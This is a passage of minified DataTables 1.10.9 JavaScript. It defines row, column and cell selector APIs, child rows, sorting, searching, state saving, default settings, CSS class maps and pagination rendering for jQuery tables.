var Za=function(a,b,c,d,e){var f=[],g,i,j,n,l,m;j=typeof b;if(!b||"string"===j||"function"===j||b.length===k)b=[b];j=0;for(n=b.length;j<n;j++){i=b[j]&&b[j].split?b[j].split(","):[b[j]];l=0;for(m=i.length;l<m;l++)(g=c("string"===typeof i[l]?h.trim(i[l]):i[l]))&&g.length&&(f=f.concat(g))}a=v.selector[a];if(a.length){j=0;for(n=a.length;j<n;j++)f=a[j](d,e,f)}return pa(f)},$a=function(a){a||(a={});a.filter&&a.search===k&&(a.search=a.filter);return h.extend({search:"none",order:"current",page:"all"},a)},
ab=function(a){for(var b=0,c=a.length;b<c;b++)if(0<a[b].length)return a[0]=a[b],a[0].length=1,a.length=1,a.context=[a.context[b]],a;a.length=0;return a},Da=function(a,b){var c,d,e,f=[],g=a.aiDisplay;c=a.aiDisplayMaster;var i=b.search;d=b.order;e=b.page;if("ssp"==y(a))return"removed"===i?[]:W(0,c.length);if("current"==e){c=a._iDisplayStart;for(d=a.fnDisplayEnd();c<d;c++)f.push(g[c])}else if("current"==d||"applied"==d)f="none"==i?c.slice():"applied"==i?g.slice():h.map(c,function(a){return-1===h.inArray(a,
g)?a:null});else if("index"==d||"original"==d){c=0;for(d=a.aoData.length;c<d;c++)"none"==i?f.push(c):(e=h.inArray(c,g),(-1===e&&"removed"==i||0<=e&&"applied"==i)&&f.push(c))}return f};p("rows()",function(a,b){a===k?a="":h.isPlainObject(a)&&(b=a,a="");var b=$a(b),c=this.iterator("table",function(c){var e=b;return Za("row",a,function(a){var b=Pb(a);if(b!==null&&!e)return[b];var i=Da(c,e);if(b!==null&&h.inArray(b,i)!==-1)return[b];if(!a)return i;if(typeof a==="function")return h.map(i,function(b){var e=
c.aoData[b];return a(b,e._aData,e.nTr)?b:null});b=Sb(ja(c.aoData,i,"nTr"));if(a.nodeName&&h.inArray(a,b)!==-1)return[a._DT_RowIndex];if(typeof a==="string"&&a.charAt(0)==="#"){i=c.aIds[a.replace(/^#/,"")];if(i!==k)return[i.idx]}return h(b).filter(a).map(function(){return this._DT_RowIndex}).toArray()},c,e)},1);c.selector.rows=a;c.selector.opts=b;return c});p("rows().nodes()",function(){return this.iterator("row",function(a,b){return a.aoData[b].nTr||k},1)});p("rows().data()",function(){return this.iterator(!0,
"rows",function(a,b){return ja(a.aoData,b,"_aData")},1)});s("rows().cache()","row().cache()",function(a){return this.iterator("row",function(b,c){var d=b.aoData[c];return"search"===a?d._aFilterData:d._aSortData},1)});s("rows().invalidate()","row().invalidate()",function(a){return this.iterator("row",function(b,c){ea(b,c,a)})});s("rows().indexes()","row().index()",function(){return this.iterator("row",function(a,b){return b},1)});s("rows().ids()","row().id()",function(a){for(var b=[],c=this.context,
d=0,e=c.length;d<e;d++)for(var f=0,g=this[d].length;f<g;f++){var h=c[d].rowIdFn(c[d].aoData[this[d][f]]._aData);b.push((!0===a?"#":"")+h)}return new t(c,b)});s("rows().remove()","row().remove()",function(){var a=this;this.iterator("row",function(b,c,d){var e=b.aoData,f=e[c];e.splice(c,1);for(var g=0,h=e.length;g<h;g++)null!==e[g].nTr&&(e[g].nTr._DT_RowIndex=g);oa(b.aiDisplayMaster,c);oa(b.aiDisplay,c);oa(a[d],c,!1);Sa(b);c=b.rowIdFn(f._aData);c!==k&&delete b.aIds[c]});this.iterator("table",function(a){for(var c=
0,d=a.aoData.length;c<d;c++)a.aoData[c].idx=c});return this});p("rows.add()",function(a){var b=this.iterator("table",function(b){var c,f,g,h=[];f=0;for(g=a.length;f<g;f++)c=a[f],c.nodeName&&"TR"===c.nodeName.toUpperCase()?h.push(ma(b,c)[0]):h.push(L(b,c));return h},1),c=this.rows(-1);c.pop();h.merge(c,b);return c});p("row()",function(a,b){return ab(this.rows(a,b))});p("row().data()",function(a){var b=this.context;if(a===k)return b.length&&this.length?b[0].aoData[this[0]]._aData:k;b[0].aoData[this[0]]._aData=
a;ea(b[0],this[0],"data");return this});p("row().node()",function(){var a=this.context;return a.length&&this.length?a[0].aoData[this[0]].nTr||null:null});p("row.add()",function(a){a instanceof h&&a.length&&(a=a[0]);var b=this.iterator("table",function(b){return a.nodeName&&"TR"===a.nodeName.toUpperCase()?ma(b,a)[0]:L(b,a)});return this.row(b[0])});var bb=function(a,b){var c=a.context;if(c.length&&(c=c[0].aoData[b!==k?b:a[0]])&&c._details)c._details.remove(),c._detailsShow=k,c._details=k},Vb=function(a,
b){var c=a.context;if(c.length&&a.length){var d=c[0].aoData[a[0]];if(d._details){(d._detailsShow=b)?d._details.insertAfter(d.nTr):d._details.detach();var e=c[0],f=new t(e),g=e.aoData;f.off("draw.dt.DT_details column-visibility.dt.DT_details destroy.dt.DT_details");0<D(g,"_details").length&&(f.on("draw.dt.DT_details",function(a,b){e===b&&f.rows({page:"current"}).eq(0).each(function(a){a=g[a];a._detailsShow&&a._details.insertAfter(a.nTr)})}),f.on("column-visibility.dt.DT_details",function(a,b){if(e===
b)for(var c,d=ca(b),f=0,h=g.length;f<h;f++)c=g[f],c._details&&c._details.children("td[colspan]").attr("colspan",d)}),f.on("destroy.dt.DT_details",function(a,b){if(e===b)for(var c=0,d=g.length;c<d;c++)g[c]._details&&bb(f,c)}))}}};p("row().child()",function(a,b){var c=this.context;if(a===k)return c.length&&this.length?c[0].aoData[this[0]]._details:k;if(!0===a)this.child.show();else if(!1===a)bb(this);else if(c.length&&this.length){var d=c[0],c=c[0].aoData[this[0]],e=[],f=function(a,b){if(h.isArray(a)||
a instanceof h)for(var c=0,k=a.length;c<k;c++)f(a[c],b);else a.nodeName&&"tr"===a.nodeName.toLowerCase()?e.push(a):(c=h("<tr><td/></tr>").addClass(b),h("td",c).addClass(b).html(a)[0].colSpan=ca(d),e.push(c[0]))};f(a,b);c._details&&c._details.remove();c._details=h(e);c._detailsShow&&c._details.insertAfter(c.nTr)}return this});p(["row().child.show()","row().child().show()"],function(){Vb(this,!0);return this});p(["row().child.hide()","row().child().hide()"],function(){Vb(this,!1);return this});p(["row().child.remove()",
"row().child().remove()"],function(){bb(this);return this});p("row().child.isShown()",function(){var a=this.context;return a.length&&this.length?a[0].aoData[this[0]]._detailsShow||!1:!1});var dc=/^(.+):(name|visIdx|visible)$/,Wb=function(a,b,c,d,e){for(var c=[],d=0,f=e.length;d<f;d++)c.push(B(a,e[d],b));return c};p("columns()",function(a,b){a===k?a="":h.isPlainObject(a)&&(b=a,a="");var b=$a(b),c=this.iterator("table",function(c){var e=a,f=b,g=c.aoColumns,i=D(g,"sName"),j=D(g,"nTh");return Za("column",
e,function(a){var b=Pb(a);if(a==="")return W(g.length);if(b!==null)return[b>=0?b:g.length+b];if(typeof a==="function"){var e=Da(c,f);return h.map(g,function(b,f){return a(f,Wb(c,f,0,0,e),j[f])?f:null})}var k=typeof a==="string"?a.match(dc):"";if(k)switch(k[2]){case "visIdx":case "visible":b=parseInt(k[1],10);if(b<0){var m=h.map(g,function(a,b){return a.bVisible?b:null});return[m[m.length+b]]}return[$(c,b)];case "name":return h.map(i,function(a,b){return a===k[1]?b:null})}else return h(j).filter(a).map(function(){return h.inArray(this,
j)}).toArray()},c,f)},1);c.selector.cols=a;c.selector.opts=b;return c});s("columns().header()","column().header()",function(){return this.iterator("column",function(a,b){return a.aoColumns[b].nTh},1)});s("columns().footer()","column().footer()",function(){return this.iterator("column",function(a,b){return a.aoColumns[b].nTf},1)});s("columns().data()","column().data()",function(){return this.iterator("column-rows",Wb,1)});s("columns().dataSrc()","column().dataSrc()",function(){return this.iterator("column",
function(a,b){return a.aoColumns[b].mData},1)});s("columns().cache()","column().cache()",function(a){return this.iterator("column-rows",function(b,c,d,e,f){return ja(b.aoData,f,"search"===a?"_aFilterData":"_aSortData",c)},1)});s("columns().nodes()","column().nodes()",function(){return this.iterator("column-rows",function(a,b,c,d,e){return ja(a.aoData,e,"anCells",b)},1)});s("columns().visible()","column().visible()",function(a,b){return this.iterator("column",function(c,d){if(a===k)return c.aoColumns[d].bVisible;
var e=c.aoColumns,f=e[d],g=c.aoData,i,j,m;if(a!==k&&f.bVisible!==a){if(a){var l=h.inArray(!0,D(e,"bVisible"),d+1);i=0;for(j=g.length;i<j;i++)m=g[i].nTr,e=g[i].anCells,m&&m.insertBefore(e[d],e[l]||null)}else h(D(c.aoData,"anCells",d)).detach();f.bVisible=a;ga(c,c.aoHeader);ga(c,c.aoFooter);if(b===k||b)Y(c),(c.oScroll.sX||c.oScroll.sY)&&Z(c);w(c,null,"column-visibility",[c,d,a]);ya(c)}})});s("columns().indexes()","column().index()",function(a){return this.iterator("column",function(b,c){return"visible"===
a?ba(b,c):c},1)});p("columns.adjust()",function(){return this.iterator("table",function(a){Y(a)},1)});p("column.index()",function(a,b){if(0!==this.context.length){var c=this.context[0];if("fromVisible"===a||"toData"===a)return $(c,b);if("fromData"===a||"toVisible"===a)return ba(c,b)}});p("column()",function(a,b){return ab(this.columns(a,b))});p("cells()",function(a,b,c){h.isPlainObject(a)&&(a.row===k?(c=a,a=null):(c=b,b=null));h.isPlainObject(b)&&(c=b,b=null);if(null===b||b===k)return this.iterator("table",
function(b){var d=a,e=$a(c),f=b.aoData,g=Da(b,e),i=Sb(ja(f,g,"anCells")),j=h([].concat.apply([],i)),l,m=b.aoColumns.length,n,p,t,s,u,v;return Za("cell",d,function(a){var c=typeof a==="function";if(a===null||a===k||c){n=[];p=0;for(t=g.length;p<t;p++){l=g[p];for(s=0;s<m;s++){u={row:l,column:s};if(c){v=f[l];a(u,B(b,l,s),v.anCells?v.anCells[s]:null)&&n.push(u)}else n.push(u)}}return n}return h.isPlainObject(a)?[a]:j.filter(a).map(function(a,b){if(b.parentNode)l=b.parentNode._DT_RowIndex;else{a=0;for(t=
f.length;a<t;a++)if(h.inArray(b,f[a].anCells)!==-1){l=a;break}}return{row:l,column:h.inArray(b,f[l].anCells)}}).toArray()},b,e)});var d=this.columns(b,c),e=this.rows(a,c),f,g,i,j,m,l=this.iterator("table",function(a,b){f=[];g=0;for(i=e[b].length;g<i;g++){j=0;for(m=d[b].length;j<m;j++)f.push({row:e[b][g],column:d[b][j]})}return f},1);h.extend(l.selector,{cols:b,rows:a,opts:c});return l});s("cells().nodes()","cell().node()",function(){return this.iterator("cell",function(a,b,c){return(a=a.aoData[b].anCells)?
a[c]:k},1)});p("cells().data()",function(){return this.iterator("cell",function(a,b,c){return B(a,b,c)},1)});s("cells().cache()","cell().cache()",function(a){a="search"===a?"_aFilterData":"_aSortData";return this.iterator("cell",function(b,c,d){return b.aoData[c][a][d]},1)});s("cells().render()","cell().render()",function(a){return this.iterator("cell",function(b,c,d){return B(b,c,d,a)},1)});s("cells().indexes()","cell().index()",function(){return this.iterator("cell",function(a,b,c){return{row:b,
column:c,columnVisible:ba(a,c)}},1)});s("cells().invalidate()","cell().invalidate()",function(a){return this.iterator("cell",function(b,c,d){ea(b,c,a,d)})});p("cell()",function(a,b,c){return ab(this.cells(a,b,c))});p("cell().data()",function(a){var b=this.context,c=this[0];if(a===k)return b.length&&c.length?B(b[0],c[0].row,c[0].column):k;ib(b[0],c[0].row,c[0].column,a);ea(b[0],c[0].row,"data",c[0].column);return this});p("order()",function(a,b){var c=this.context;if(a===k)return 0!==c.length?c[0].aaSorting:
k;"number"===typeof a?a=[[a,b]]:h.isArray(a[0])||(a=Array.prototype.slice.call(arguments));return this.iterator("table",function(b){b.aaSorting=a.slice()})});p("order.listener()",function(a,b,c){return this.iterator("table",function(d){Oa(d,a,b,c)})});p(["columns().order()","column().order()"],function(a){var b=this;return this.iterator("table",function(c,d){var e=[];h.each(b[d],function(b,c){e.push([c,a])});c.aaSorting=e})});p("search()",function(a,b,c,d){var e=this.context;return a===k?0!==e.length?
e[0].oPreviousSearch.sSearch:k:this.iterator("table",function(e){e.oFeatures.bFilter&&ha(e,h.extend({},e.oPreviousSearch,{sSearch:a+"",bRegex:null===b?!1:b,bSmart:null===c?!0:c,bCaseInsensitive:null===d?!0:d}),1)})});s("columns().search()","column().search()",function(a,b,c,d){return this.iterator("column",function(e,f){var g=e.aoPreSearchCols;if(a===k)return g[f].sSearch;e.oFeatures.bFilter&&(h.extend(g[f],{sSearch:a+"",bRegex:null===b?!1:b,bSmart:null===c?!0:c,bCaseInsensitive:null===d?!0:d}),ha(e,
e.oPreviousSearch,1))})});p("state()",function(){return this.context.length?this.context[0].oSavedState:null});p("state.clear()",function(){return this.iterator("table",function(a){a.fnStateSaveCallback.call(a.oInstance,a,{})})});p("state.loaded()",function(){return this.context.length?this.context[0].oLoadedState:null});p("state.save()",function(){return this.iterator("table",function(a){ya(a)})});m.versionCheck=m.fnVersionCheck=function(a){for(var b=m.version.split("."),a=a.split("."),c,d,e=0,f=
a.length;e<f;e++)if(c=parseInt(b[e],10)||0,d=parseInt(a[e],10)||0,c!==d)return c>d;return!0};m.isDataTable=m.fnIsDataTable=function(a){var b=h(a).get(0),c=!1;h.each(m.settings,function(a,e){var f=e.nScrollHead?h("table",e.nScrollHead)[0]:null,g=e.nScrollFoot?h("table",e.nScrollFoot)[0]:null;if(e.nTable===b||f===b||g===b)c=!0});return c};m.tables=m.fnTables=function(a){var b=!1;h.isPlainObject(a)&&(b=a.api,a=a.visible);var c=h.map(m.settings,function(b){if(!a||a&&h(b.nTable).is(":visible"))return b.nTable});
return b?new t(c):c};m.util={throttle:ua,escapeRegex:va};m.camelToHungarian=I;p("$()",function(a,b){var c=this.rows(b).nodes(),c=h(c);return h([].concat(c.filter(a).toArray(),c.find(a).toArray()))});h.each(["on","one","off"],function(a,b){p(b+"()",function(){var a=Array.prototype.slice.call(arguments);a[0].match(/\.dt\b/)||(a[0]+=".dt");var d=h(this.tables().nodes());d[b].apply(d,a);return this})});p("clear()",function(){return this.iterator("table",function(a){na(a)})});p("settings()",function(){return new t(this.context,
this.context)});p("init()",function(){var a=this.context;return a.length?a[0].oInit:null});p("data()",function(){return this.iterator("table",function(a){return D(a.aoData,"_aData")}).flatten()});p("destroy()",function(a){a=a||!1;return this.iterator("table",function(b){var c=b.nTableWrapper.parentNode,d=b.oClasses,e=b.nTable,f=b.nTBody,g=b.nTHead,i=b.nTFoot,j=h(e),f=h(f),k=h(b.nTableWrapper),l=h.map(b.aoData,function(a){return a.nTr}),p;b.bDestroying=!0;w(b,"aoDestroyCallback","destroy",[b]);a||
(new t(b)).columns().visible(!0);k.unbind(".DT").find(":not(tbody *)").unbind(".DT");h(Fa).unbind(".DT-"+b.sInstance);e!=g.parentNode&&(j.children("thead").detach(),j.append(g));i&&e!=i.parentNode&&(j.children("tfoot").detach(),j.append(i));b.aaSorting=[];b.aaSortingFixed=[];xa(b);h(l).removeClass(b.asStripeClasses.join(" "));h("th, td",g).removeClass(d.sSortable+" "+d.sSortableAsc+" "+d.sSortableDesc+" "+d.sSortableNone);b.bJUI&&(h("th span."+d.sSortIcon+", td span."+d.sSortIcon,g).detach(),h("th, td",
g).each(function(){var a=h("div."+d.sSortJUIWrapper,this);h(this).append(a.contents());a.detach()}));f.children().detach();f.append(l);g=a?"remove":"detach";j[g]();k[g]();!a&&c&&(c.insertBefore(e,b.nTableReinsertBefore),j.css("width",b.sDestroyWidth).removeClass(d.sTable),(p=b.asDestroyStripes.length)&&f.children().each(function(a){h(this).addClass(b.asDestroyStripes[a%p])}));c=h.inArray(b,m.settings);-1!==c&&m.settings.splice(c,1)})});h.each(["column","row","cell"],function(a,b){p(b+"s().every()",
function(a){return this.iterator(b,function(d,e,f,g,h){a.call((new t(d))[b](e,"cell"===b?f:k),e,f,g,h)})})});p("i18n()",function(a,b,c){var d=this.context[0],a=P(a)(d.oLanguage);a===k&&(a=b);c!==k&&h.isPlainObject(a)&&(a=a[c]!==k?a[c]:a._);return a.replace("%d",c)});m.version="1.10.9";m.settings=[];m.models={};m.models.oSearch={bCaseInsensitive:!0,sSearch:"",bRegex:!1,bSmart:!0};m.models.oRow={nTr:null,anCells:null,_aData:[],_aSortData:null,_aFilterData:null,_sFilterRow:null,_sRowStripe:"",src:null,
idx:-1};m.models.oColumn={idx:null,aDataSort:null,asSorting:null,bSearchable:null,bSortable:null,bVisible:null,_sManualType:null,_bAttrSrc:!1,fnCreatedCell:null,fnGetData:null,fnSetData:null,mData:null,mRender:null,nTh:null,nTf:null,sClass:null,sContentPadding:null,sDefaultContent:null,sName:null,sSortDataType:"std",sSortingClass:null,sSortingClassJUI:null,sTitle:null,sType:null,sWidth:null,sWidthOrig:null};m.defaults={aaData:null,aaSorting:[[0,"asc"]],aaSortingFixed:[],ajax:null,aLengthMenu:[10,
25,50,100],aoColumns:null,aoColumnDefs:null,aoSearchCols:[],asStripeClasses:null,bAutoWidth:!0,bDeferRender:!1,bDestroy:!1,bFilter:!0,bInfo:!0,bJQueryUI:!1,bLengthChange:!0,bPaginate:!0,bProcessing:!1,bRetrieve:!1,bScrollCollapse:!1,bServerSide:!1,bSort:!0,bSortMulti:!0,bSortCellsTop:!1,bSortClasses:!0,bStateSave:!1,fnCreatedRow:null,fnDrawCallback:null,fnFooterCallback:null,fnFormatNumber:function(a){return a.toString().replace(/\B(?=(\d{3})+(?!\d))/g,this.oLanguage.sThousands)},fnHeaderCallback:null,
fnInfoCallback:null,fnInitComplete:null,fnPreDrawCallback:null,fnRowCallback:null,fnServerData:null,fnServerParams:null,fnStateLoadCallback:function(a){try{return JSON.parse((-1===a.iStateDuration?sessionStorage:localStorage).getItem("DataTables_"+a.sInstance+"_"+location.pathname))}catch(b){}},fnStateLoadParams:null,fnStateLoaded:null,fnStateSaveCallback:function(a,b){try{(-1===a.iStateDuration?sessionStorage:localStorage).setItem("DataTables_"+a.sInstance+"_"+location.pathname,JSON.stringify(b))}catch(c){}},
fnStateSaveParams:null,iStateDuration:7200,iDeferLoading:null,iDisplayLength:10,iDisplayStart:0,iTabIndex:0,oClasses:{},oLanguage:{oAria:{sSortAscending:": activate to sort column ascending",sSortDescending:": activate to sort column descending"},oPaginate:{sFirst:"First",sLast:"Last",sNext:"Next",sPrevious:"Previous"},sEmptyTable:"No data available in table",sInfo:"Showing _START_ to _END_ of _TOTAL_ entries",sInfoEmpty:"Showing 0 to 0 of 0 entries",sInfoFiltered:"(filtered from _MAX_ total entries)",
sInfoPostFix:"",sDecimal:"",sThousands:",",sLengthMenu:"Show _MENU_ entries",sLoadingRecords:"Loading...",sProcessing:"Processing...",sSearch:"Search:",sSearchPlaceholder:"",sUrl:"",sZeroRecords:"No matching records found"},oSearch:h.extend({},m.models.oSearch),sAjaxDataProp:"data",sAjaxSource:null,sDom:"lfrtip",searchDelay:null,sPaginationType:"simple_numbers",sScrollX:"",sScrollXInner:"",sScrollY:"",sServerMethod:"GET",renderer:null,rowId:"DT_RowId"};X(m.defaults);m.defaults.column={aDataSort:null,
iDataSort:-1,asSorting:["asc","desc"],bSearchable:!0,bSortable:!0,bVisible:!0,fnCreatedCell:null,mData:null,mRender:null,sCellType:"td",sClass:"",sContentPadding:"",sDefaultContent:null,sName:"",sSortDataType:"std",sTitle:null,sType:null,sWidth:null};X(m.defaults.column);m.models.oSettings={oFeatures:{bAutoWidth:null,bDeferRender:null,bFilter:null,bInfo:null,bLengthChange:null,bPaginate:null,bProcessing:null,bServerSide:null,bSort:null,bSortMulti:null,bSortClasses:null,bStateSave:null},oScroll:{bCollapse:null,
iBarWidth:0,sX:null,sXInner:null,sY:null},oLanguage:{fnInfoCallback:null},oBrowser:{bScrollOversize:!1,bScrollbarLeft:!1,bBounding:!1,barWidth:0},ajax:null,aanFeatures:[],aoData:[],aiDisplay:[],aiDisplayMaster:[],aIds:{},aoColumns:[],aoHeader:[],aoFooter:[],oPreviousSearch:{},aoPreSearchCols:[],aaSorting:null,aaSortingFixed:[],asStripeClasses:null,asDestroyStripes:[],sDestroyWidth:0,aoRowCallback:[],aoHeaderCallback:[],aoFooterCallback:[],aoDrawCallback:[],aoRowCreatedCallback:[],aoPreDrawCallback:[],
aoInitComplete:[],aoStateSaveParams:[],aoStateLoadParams:[],aoStateLoaded:[],sTableId:"",nTable:null,nTHead:null,nTFoot:null,nTBody:null,nTableWrapper:null,bDeferLoading:!1,bInitialised:!1,aoOpenRows:[],sDom:null,searchDelay:null,sPaginationType:"two_button",iStateDuration:0,aoStateSave:[],aoStateLoad:[],oSavedState:null,oLoadedState:null,sAjaxSource:null,sAjaxDataProp:null,bAjaxDataGet:!0,jqXHR:null,json:k,oAjaxData:k,fnServerData:null,aoServerParams:[],sServerMethod:null,fnFormatNumber:null,aLengthMenu:null,
iDraw:0,bDrawing:!1,iDrawError:-1,_iDisplayLength:10,_iDisplayStart:0,_iRecordsTotal:0,_iRecordsDisplay:0,bJUI:null,oClasses:{},bFiltered:!1,bSorted:!1,bSortCellsTop:null,oInit:null,aoDestroyCallback:[],fnRecordsTotal:function(){return"ssp"==y(this)?1*this._iRecordsTotal:this.aiDisplayMaster.length},fnRecordsDisplay:function(){return"ssp"==y(this)?1*this._iRecordsDisplay:this.aiDisplay.length},fnDisplayEnd:function(){var a=this._iDisplayLength,b=this._iDisplayStart,c=b+a,d=this.aiDisplay.length,e=
this.oFeatures,f=e.bPaginate;return e.bServerSide?!1===f||-1===a?b+d:Math.min(b+a,this._iRecordsDisplay):!f||c>d||-1===a?d:c},oInstance:null,sInstance:null,iTabIndex:0,nScrollHead:null,nScrollFoot:null,aLastSort:[],oPlugins:{},rowIdFn:null,rowId:null};m.ext=v={buttons:{},classes:{},errMode:"alert",feature:[],search:[],selector:{cell:[],column:[],row:[]},internal:{},legacy:{ajax:null},pager:{},renderer:{pageButton:{},header:{}},order:{},type:{detect:[],search:{},order:{}},_unique:0,fnVersionCheck:m.fnVersionCheck,
iApiIndex:0,oJUIClasses:{},sVersion:m.version};h.extend(v,{afnFiltering:v.search,aTypes:v.type.detect,ofnSearch:v.type.search,oSort:v.type.order,afnSortData:v.order,aoFeatures:v.feature,oApi:v.internal,oStdClasses:v.classes,oPagination:v.pager});h.extend(m.ext.classes,{sTable:"dataTable",sNoFooter:"no-footer",sPageButton:"paginate_button",sPageButtonActive:"current",sPageButtonDisabled:"disabled",sStripeOdd:"odd",sStripeEven:"even",sRowEmpty:"dataTables_empty",sWrapper:"dataTables_wrapper",sFilter:"dataTables_filter",
sInfo:"dataTables_info",sPaging:"dataTables_paginate paging_",sLength:"dataTables_length",sProcessing:"dataTables_processing",sSortAsc:"sorting_asc",sSortDesc:"sorting_desc",sSortable:"sorting",sSortableAsc:"sorting_asc_disabled",sSortableDesc:"sorting_desc_disabled",sSortableNone:"sorting_disabled",sSortColumn:"sorting_",sFilterInput:"",sLengthSelect:"",sScrollWrapper:"dataTables_scroll",sScrollHead:"dataTables_scrollHead",sScrollHeadInner:"dataTables_scrollHeadInner",sScrollBody:"dataTables_scrollBody",
sScrollFoot:"dataTables_scrollFoot",sScrollFootInner:"dataTables_scrollFootInner",sHeaderTH:"",sFooterTH:"",sSortJUIAsc:"",sSortJUIDesc:"",sSortJUI:"",sSortJUIAscAllowed:"",sSortJUIDescAllowed:"",sSortJUIWrapper:"",sSortIcon:"",sJUIHeader:"",sJUIFooter:""});var Ea="",Ea="",G=Ea+"ui-state-default",ka=Ea+"css_right ui-icon ui-icon-",Xb=Ea+"fg-toolbar ui-toolbar ui-widget-header ui-helper-clearfix";h.extend(m.ext.oJUIClasses,m.ext.classes,{sPageButton:"fg-button ui-button "+G,sPageButtonActive:"ui-state-disabled",
sPageButtonDisabled:"ui-state-disabled",sPaging:"dataTables_paginate fg-buttonset ui-buttonset fg-buttonset-multi ui-buttonset-multi paging_",sSortAsc:G+" sorting_asc",sSortDesc:G+" sorting_desc",sSortable:G+" sorting",sSortableAsc:G+" sorting_asc_disabled",sSortableDesc:G+" sorting_desc_disabled",sSortableNone:G+" sorting_disabled",sSortJUIAsc:ka+"triangle-1-n",sSortJUIDesc:ka+"triangle-1-s",sSortJUI:ka+"carat-2-n-s",sSortJUIAscAllowed:ka+"carat-1-n",sSortJUIDescAllowed:ka+"carat-1-s",sSortJUIWrapper:"DataTables_sort_wrapper",
sSortIcon:"DataTables_sort_icon",sScrollHead:"dataTables_scrollHead "+G,sScrollFoot:"dataTables_scrollFoot "+G,sHeaderTH:G,sFooterTH:G,sJUIHeader:Xb+" ui-corner-tl ui-corner-tr",sJUIFooter:Xb+" ui-corner-bl ui-corner-br"});var Mb=m.ext.pager;h.extend(Mb,{simple:function(){return["previous","next"]},full:function(){return["first","previous","next","last"]},numbers:function(a,b){return[Aa(a,b)]},simple_numbers:function(a,b){return["previous",Aa(a,b),"next"]},full_numbers:function(a,b){return["first",
"previous",Aa(a,b),"next","last"]},_numbers:Aa,numbers_length:7});h.extend(!0,m.ext.renderer,{pageButton:{_:function(a,b,c,d,e,f){var g=a.oClasses,i=a.oLanguage.oPaginate,j,k,l=0,m=function(b,d){var p,q,t,s,u=function(b){Ta(a,b.data.action,true)};p=0;for(q=d.length;p<q;p++){s=d[p];if(h.isArray(s)){t=h("<"+(s.DT_el||"div")+"/>").appendTo(b);m(t,s)}else{j=null;k="";switch(s){case "ellipsis":b.append('<span class="ellipsis">&#x2026;</span>');break;case "first":j=i.sFirst;k=s+(e>0?"":" "+g.sPageButtonDisabled);
break;case "previous":j=i.sPrevious;k=s+(e>0?"":" "+g.sPageButtonDisabled);break;case "next":j=i.sNext;k=s+(e<f-1?"":" "+g.sPageButtonDisabled);break;case "last":j=i.sLast;k=s+(e<f-1?"":" "+g.sPageButtonDisabled);break;default:j=s+1;k=e===s?g.sPageButtonActive:""}if(j!==null){t=h("<a>",{"class":g.sPageButton+" "+k,"aria-controls":a.sTableId,"data-dt-idx":l,tabindex:a.iTabIndex,id:c===0&&typeof s==="string"?a.sTableId+"_"+s:null}).html(j).appendTo(b);Va(t,{action:s},u);l++}}}},p;try{p=h(b).find(T.activeElement).data("dt-idx")}catch(t){}m(h(b).empty(),
d);p&&h(b).find("[data-dt-idx="+p+"]").focus()}}});h.extend(m.ext.type.detect,[function(a,b){var c=b.oLanguage.sDecimal;return Ya(a,c)?"num"+c:null},function(a){if(a&&!(a instanceof Date)&&(!ac.test(a)||!bc.test(a)))return null;var b=Date.parse(a);return null!==b&&!isNaN(b)||K(a)?"date":null},function(a,b){var c=b.oLanguage.sDecimal;return Ya(a,c,!0)?"num-fmt"+c:null},function(a,b){var c=b.oLanguage.sDecimal;return Rb(a,c)?"html-num"+c:null},function(a,b){var c=b.oLanguage.sDecimal;return Rb(a,c,
!0)?"html-num-fmt"+c:null},function(a){return K(a)||"string"===typeof a&&-1!==a.indexOf("<")?"html":null}]);h.extend(m.ext.type.search,{html:function(a){return K(a)?a:"string"===typeof a?a.replace(Ob," ").replace(Ca,""):""},string:function(a){return K(a)?a:"string"===typeof a?a.replace(Ob," "):a}});var Ba=function(a,b,c,d){if(0!==a&&(!a||"-"===a))return-Infinity;b&&(a=Qb(a,b));a.replace&&(c&&(a=a.replace(c,"")),d&&(a=a.replace(d,"")));return 1*a};h.extend(v.type.order,{"date-pre":function(a){return Date.parse(a)||
0},"html-pre":function(a){return K(a)?"":a.replace?a.replace(/<.*?>/g,"").toLowerCase():a+""},"string-pre":function(a){return K(a)?"":"string"===typeof a?a.toLowerCase():!a.toString?"":a.toString()},"string-asc":function(a,b){return a<b?-1:a>b?1:0},"string-desc":function(a,b){return a<b?1:a>b?-1:0}});cb("");h.extend(!0,m.ext.renderer,{header:{_:function(a,b,c,d){h(a.nTable).on("order.dt.DT",function(e,f,g,h){if(a===f){e=c.idx;b.removeClass(c.sSortingClass+" "+d.sSortAsc+" "+d.sSortDesc).addClass(h[e]==
"asc"?d.sSortAsc:h[e]=="desc"?d.sSortDesc:c.sSortingClass)}})},jqueryui:function(a,b,c,d){h("<div/>").addClass(d.sSortJUIWrapper).append(b.contents()).append(h("<span/>").addClass(d.sSortIcon+" "+c.sSortingClassJUI)).appendTo(b);h(a.nTable).on("order.dt.DT",function(e,f,g,h){if(a===f){e=c.idx;b.removeClass(d.sSortAsc+" "+d.sSortDesc).addClass(h[e]=="asc"?d.sSortAsc:h[e]=="desc"?d.sSortDesc:c.sSortingClass);b.find("span."+d.sSortIcon).removeClass(d.sSortJUIAsc+" "+d.sSortJUIDesc+" "+d.sSortJUI+" "+
d.sSortJUIAscAllowed+" "+d.sSortJUIDescAllowed).addClass(h[e]=="asc"?d.sSortJUIAsc:h[e]=="desc"?d.sSortJUIDesc:c.sSortingClassJUI)}})}}});m.render={number:function(a,b,c,d,e){return{display:function(f){if("number"!==typeof f&&"string"!==typeof f)return f;var g=0>f?"-":"",f=Math.abs(parseFloat(f)),h=parseInt(f,10),f=c?b+(f-h).toFixed(c).substring(2):"";return g+(d||"")+h.toString().replace(/\B(?=(\d{3})+(?!\d))/g,a)+f+(e||"")}}}};h.extend(m.ext.internal,{_fnExternApiFunc:Nb,_fnBuildAjax:ra,_fnAjaxUpdate:lb,
_fnAjaxParameters:ub,_fnAjaxUpdateDraw:vb,_fnAjaxDataSrc:sa,_fnAddColumn:Ga,_fnColumnOptions:la,_fnAdjustColumnSizing:Y,_fnVisibleToColumnIndex:$,_fnColumnIndexToVisible:ba,_fnVisbleColumns:ca,_fnGetColumns:aa,_fnColumnTypes:Ia,_fnApplyColumnDefs:hb,_fnHungarianMap:X,_fnCamelToHungarian:I,_fnLanguageCompat:S,_fnBrowserDetect:fb,_fnAddData:L,_fnAddTr:ma,_fnNodeToDataIndex:function(a,b){return b._DT_RowIndex!==k?b._DT_RowIndex:null},_fnNodeToColumnIndex:function(a,b,c){return h.inArray(c,a.aoData[b].anCells)},
